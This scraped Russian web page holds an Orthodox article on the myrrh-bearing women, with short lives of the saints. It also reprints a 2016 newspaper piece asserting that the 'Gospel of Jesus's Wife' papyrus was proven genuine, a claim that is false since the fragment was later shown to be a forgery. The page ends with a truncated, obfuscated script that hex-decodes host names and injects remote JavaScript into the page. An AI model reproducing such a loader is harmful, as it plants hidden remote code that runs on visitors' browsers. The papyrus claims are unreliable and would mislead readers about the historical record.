Чудо обыкновенной любви

На модерации Отложенный
Чудо обыкновенной любви
Чудо обыкновенной любви

Третье воскресенье пасхального цикла названо в честь святых жен-мироносиц.

Этот праздник посвящен обычным женщинам — Христовым ученицам, неотступно следовавшим за своим Учителем и не оставившим Его даже в те минуты, когда большинство апостолов попросту разбежались. И событие, воспоминаемое в этот день, тоже, на первый взгляд, самое обыденное — не успев совершить погребальный обряд над умершим Спасителем из-за приближавшейся субботы, женщины на третьи сутки после Его крестной смерти поспешили к гробу. С собою они несли миро — дорогое пахучее масло — и шли к могиле помазать тело Иисуса.

Верили ли они в то, что снова увидят Господа живым? Вряд ли. Как и для остальных учеников, арест, распятие и смерть Иисуса были для них своеобразным финалом — с казнью Христа эти хрупкие женщины утратили значительный смысл дальнейшего существования. Конечно, они продолжали жить ради своих семей, но жить так, как раньше, полноценно, каждый день общаясь с Учителем, уже было невозможно. И все же любовь — безусловная и безграничная — подняла мироносиц среди ночи и заставила бежать к месту погребения Христа. Сердце словно говорило им: «Спешите, и вы увидите то, что радикально изменит вашу жизнь, сделает ее более осмысленной и глубокой, чем ранее — в минуты наибольшей радости».

Огромная чистая вера святых женщин была вознаграждена. Когда они приблизились к могиле, только лишь тут вспомнив, что вход в погребальную камеру завален тяжелым камнем, то увидели, что пещера открыта. Едва преодолевая охватившее их оцепенение, они заглянули вовнутрь и встретили ангела, который говорил им, что Тот, Кого ищут мироносицы, воскрес и ждет их в Галилее. Скорее всего, другой на месте этих женщин смутился бы, решив, что все виденное им — галлюцинации и плод воспаленного воображения. Но ученицы Христовы поверили сразу и безо всякого сомнения — получив благую весть, они бросились обратно в город, к апостолам, которые сидели в доме и там переживали обрушившееся на них горе. Еще больше вера женщин укрепилась, когда на обратной дороге они увидели самого воскресшего Господа.

У гроба осталась лишь Мария Магдалина, которая либо пришла не со всеми, либо просто решила побыть наедине, чтобы лучше понять случившееся. Она еще не до конца осознала величие этого момента, и когда перед ней появился человек, подумала, что перед нею садовник, и стала спрашивать у него, куда исчезло тело Учителя. Но садовник назвал ее по имени, причем сделал это так, как делал только один Человек на земле. Перед нею стоял Сам Христос — живой, воскресший, реальный! Радости женщины не было предела — она своими глазами видела Того, Кого еще пару дней назад безутешно оплакивала вместе с другими ученицами.

Потом Господь явился остальным — апостолам, ученикам, другим Своим спутницам, которые все три года Его проповеди были с Ним. Но первым радостную новость о Воскресении Спасителя узнали именно они, мироносицы — женщины, которые не побоялись ни преследования старейшин, ни возможной грубости римской охраны, которая до момента явления ангела стерегла гроб Спасителя, ни других опасностей, подстерегающих человека ночью. Ученицами двигала любовь — та самая любовь, которой их учил Господь, и которая не ведает никаких преград — даже смерти.

День жен-мироносиц в Православии считается аналогом 8 марта. Только вместо сомнительного идеала женщины-революционерки и феминистки-бунтарки Церковь восхваляет совсем иные качества наших матерей, супруг, сестер и подруг. Прежде всего, это великая жертвенность, самозабвенность, верность, любовь и живая пламенная вера, могущая всё преодолеть. Те самые вера и любовь, которые в полной мере доступны лишь немощному женскому естеству, и которые светят даже в самой беспросветной тьме.

Сколько мироносиц было всего — мы доподлинно не знаем. Евангелие просто перечисляет их по именам, и только лишь нескольких женщин называет более-менее конкретно. Церковная традиция усвоила звание мироносиц семи или восьми ученицам Христа. Все они впоследствии стали пламенными проповедницами и потрудились наравне с другими апостолами. А Магдалина и вовсе удостоилась чести называться равноапостольной — то есть имеющей ту же славу и понесшей тот же крест, что и другие ученики-мужчины.

Богородица

Традиционно Пресвятая Дева не входит в число жен-мироносиц, но некоторые толкователи считают, что «Мария Иаковлева» (Мк. 16: 1) и «другая Мария» (Мф. 28: 1) — это и есть Мать Христа. Дело в том, что Она после смерти своего мужа Иосифа взяла на попечение его младших детей от первого брака, и вполне законно считалась матерью Иакова. Но даже если Богородица и не была среди мироносиц, Она все равно считается первой, кто получил весть о Воскресении Сына — согласно преданиям, ангел явился Ей лично и рассказал самую главную новость на свете.

Пречистая некоторое время жила в Иерусалиме в доме апостола Иоанна Богослова, которому Господь еще на Голгофе доверил заботу о Своей уже немолодой Матери. После ухода апостолов на проповедь, Ей тоже достался жребий миссионерства. Изначально это были земли современной Грузии, но туда попасть Святая Дева так и не смогла. Местом Ее апостольства стал Афон, куда Она попала после шторма, по пути в гости к епископу Лазарю, который жил на Кипре. Некоторое время Богородица жила в Эфесе. Умерла в Иерусалиме, похоронена там же — в Гефсиманском саду. Однако тела в Ее гробнице нет — предание гласит, что Сын на третий день после кончины вознес Ее в небесную славу вместе с телом.

Мария Магдалина

Сведения об этой женщине путаные. Одни усматривают в ней знаменитую евангельскую блудницу, которую Христос спас от избиения камнями и которая помазала Ему ноги дорогим маслом. Другие видят в ней простую еврейку, исцеленную Христом от тяжкого недуга одержимости и бесноватости. После выхода апостолов на проповедь она пренебрегла всеми тогдашними нормами (женщине запрещалось проповедовать самой) и в одиночку ходила из города в город, возвещая всем о воскресшем Учителе. По одной версии жития, Магдалина окончила свои дни в доме Иоанна Богослова в Эфесе, дожив до глубокой старости. Другие варианты биографии говорят о том, что Мария конец жизни провела в покаянии, около тридцати лет живя в пещере близ Марселя. Перед смертью, согласно западным житиям, Магдалину причастил случайно забредший к ней священник. Он же и похоронил святую.

Марфа и Мария, сестры Лазаря

Сведения об этих женщинах очень скудны. Вместе с братом, которого некогда воскресил Сам Христос, они перебрались из Иерусалима на Кипр, где помогали Лазарю нести епископское служение. Где, когда и как умерли святые сестры — неизвестно.

Иоанна

Она была женой Хузы — одного из чиновников при дворе правителя Галилеи Ирода Антипы. Иоанна занимала очень высокое положение, обладала большим влиянием и связями. В дни проповеди Христа именно Иоанна брала на себя львиную долю расходов апостольской общины, заботясь о пропитании и всем необходимом для Господа и Его учеников. Есть версия, что такая щедрость столь знатной дамы неслучайна — по мнению ряда толкователей, сын царедворца, исцеленный Христом (Ин. 4: 46 — 54), был ребенком Иоанны, и благодарная женщина после этого служила Спасителю всем, чем могла.

С ее именем связана история головы Иоанна Крестителя. Как известно, за свои обличения в адрес Ирода Предтеча сначала подвергся аресту, а затем был обезглавлен по навету Иродиады — Иродовой сожительницы. После того, как нечестивая женщина надругалась над главой ненавистного ей пророка, она выбросила свой «трофей» на свалку. Иоанна, видя все это и глубоко скорбя о смерти Предтечи, тайно ночью отрыла главу, положила ее в глиняный сосуд и погребла на горе Елеонской, в одном из поместий Ирода.

Мария

 
Клеопова

О ней практически ничего не известно. Была одной из родственниц Христа. По одной версии, Мария приходилась не то дочерью, не то женой Клеопе — брату Иосифа Обручника. Другая версия, весьма маловероятная, говорит о том, что эта женщина была сестрой Пресвятой Богородицы.

Мария Иаковлева

С этой женщиной больше всего неясностей. По преданиям, она являлась младшей дочерью Иосифа Обручника, находилась в очень теплых отношениях с Богородицей и была, по сути, Ее ближайшей подругой. Вполне вероятно, что это и есть Мария Клеопова. Иаковлевой она стала называться потому, что один из ее сыновей — Иаков — входил в число апостолов.

Сусанна

Самая загадочная из мироносиц. Она служила Христу от своего имения, то есть, видимо, была довольно обеспеченной. Больше о ней неизвестно ничего.

 



 
 
<dfn></dfn><var>Просто человек</var> <var>18 мая 2016 года, :05</var>

Древний папирус с текстом, в котором упомянута супруга Сына Божьего, оказался действительно древним.


Еще одно евангелие
Получены доказательства того, что папирус, известный ныне, как "Евангелие от жены Иисуса" ("The Gospel of Jesus's Wife), документ - подлинный. И очень древний. Появился во времена, когда были написаны евангелия, ставшие каноническими - от Матфея, Луки, Иоанна и Марка. А это повышает доверие к шокирующим словам, которые содержатся в тексте папируса.
Напомню о чем речь. Два года назад профессор Гарвардской школы богословия Карен Кинг (Karen L. King, the Hollis Professor of Divinity at Harvard Divinity School, ha) на 10-м международном конгрессе коптских исследований, прошедшем в Риме (Х International Coptic Congress in Rome), продемонстрировала сенсационный документ. А именно: изрядно побитый временем обрывок папируса с текстом на языке древних коптов - ранних египетских христиан. В тексте - недвусмысленные намеки на то, что Иисус имел жену. 
Папирус - небольшой: его размер 4 на 8 сантиметров. На этом прямоугольнике уместилось 8 строк. Видны следы девятой. Строки написаны от руки и представляют собой части фраз. Среди них есть следующие:

"...нет. Мария достойна этого..."

"...она сможет стать моей последовательницей..." 

И самое главное:

"...и сказал им Иисус: Моя жена..."

"... Что касается меня, то живу я с ней для того..."

По сути, Иисус сам признается, что женат. Предположительно, на Марии Магдалине. С ней и "живет", то есть имеет супружеские отношения. А как еще толковать написанное?
Вдруг это правда?
Еще два года назад Карен Кинг признавала, что упоминание о семейной жизни Сына Божьего в обрывке текста, автор которого не известен, вряд ли можно считать историческим свидетельством. Хотя, по ее же - Карен - мнению, нет и свидетельств того, что Иисус женат не был.
Большинство же египтологов и религиозных деятелей поспешили тогда назвать папирус фальшивкой.
- Не уверен, что мы имеем дело с аутентичным документом, -- заявил Стефен Эммел, авторитетный профессор-коптолог из Университета Мюнстера, известный своими исследованиями @Евангелия от Иуды@. В то же время он признал, что текст папируса переведен правильно.
- Это фальсификация, - отреагировал Алин Суциу, папиролог из Гамбургского университета. - Фрагмент не производит впечатление подлинного.
Итог исследований, которые продолжались два года: скептики облажались. Папирус - точно не фальшивка. Ученые трех ведущих американских университетов, не зависимо друг от друга, пришли к выводу, что фрагмент с текстом был создан не позднее 6 века нашей эры. Это показал радиоуглеродный анализ.
Чернила на фрагменте папируса сравнили с теми, которыми написаны другие древние коптские документы. Метод так называемой микро-рамановской спектроскопии, примененный в Колумбийском университете (Columbia University), показал: чернила папируса и документов, датированных первым веком нашей эры, идентичны.
Ныне эксперты-египтологи полагают, что текст фрагмента представляет из себя список с более древнего документа, составленного в начале нашей эры. Возможно даже, что найденный текст, "вырван" из какого-то евангелия.
На обороте обрывка тоже есть надписи - 6 строк. В них, к сожалению, читаются только отдельные слова. Но даже они представляют научную ценность. К примеру, доказывают, что фрагмент прежде был частью древней книги, а не свитка. Потому что содержит текст с двух сторон.
Дэн Браун знал про тайну
Откуда взялся папирус, не известно. Равно, как и об обстоятельствах его находки. Госпоже Кинг обрывок достался от частного коллекционера, имя которого она не разглашает. Тот предоставил его вместе с письмом, составленным в начале 1980-х годов ныне покойным профессором Герхардом Фехтом из факультета египтологии берлинского Свободного Университета (Free University). Профессор не сомневался: текст папируса свидетельствует именно о том, что Иисус состоял в браке.
Знал ли о папирусе Дэн Браун - автор скандального романа "Код да Винчи"? Вполне вероятно. Ведь именно это "откровение" - о жене и детях Сына Божьего - потрясло и заинтриговало читателей более всего. Уж очень уверенно автор рассказывал о том, что Иисус состоял в браке именно с Марией Магдалиной. Словно бы уверенность была подкреплена.
Странно, конечно, что Браун не обыграл обрывок папируса в повествовании. Но не менее странно и то, что скандальный документ нигде не всплывал 30 лет.
КСТАТИ
Та, которую называли Его спутницей
Пытаясь убедить читателей, что Спаситель был женат, Дэн Браун ссылается на Евангелие от Филиппа, в котором Мария Магдалина названа "спутницей".
- Любой специалист по арамейскому языку скажет вам, что слово "спутница" в те дни буквально означало "супруга", - объясняет писатель. И мы верим.
Евангелие от Филиппа, названное по имени апостола Филиппа, было найдено археологами в 1945 году в Египте. Датировано концом второго века нашей эры. В число канонических не входит. Содержит набор мудрых высказываний.
Евангелие от Филиппа - так называемый апокриф. И в нем действительно есть помянутые Брауном слова: "...трое шли с Господом все время: Мария - Его мать, также Его сестра и Мария Магдалина - та, которую называли Его спутницей. Итак, были три Марии: и Его мать, и Его сестра, и Его спутница..."
Некоторые исследователи считают, что на фреске "Тайная вечеря" Леонардо да Винчи изобразил рядом с Исусом Марию Магдалину. 
Однако, когда роман "Код да Винчи" только появился в России, священник, автор нескольких книг по истории раннего христианства, доктор исторических наук, диакон Василий (Сальников) опроверг, казалось бы, неопровержимое доказательство писателя.
- Любой специалист знает, - рассказывал диакон в интервью "Комсомольской правде", - что Евангелие от Филиппа написан не по-арамейски, а на саидском наречии коптского языка. И по наличию в тексте греческих слов есть основания предполагать, что апокриф был переведен на коптский с греческого первоисточника. А в коптском и греческом слово "спутница" означает лишь то, что оно означает.
На днях с дополнительным заявлением выступили ученые, установившие подлинность фрагмента папируса Карен Кинг. Мол, они исследовали документ, а не его содержание. Поэтому не берутся судить, была ли у Иисуса Христа жена. И не собираются толковать текст.

Автор: В.Лаговский
Источник: Комсомольская правда.

 

 

<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>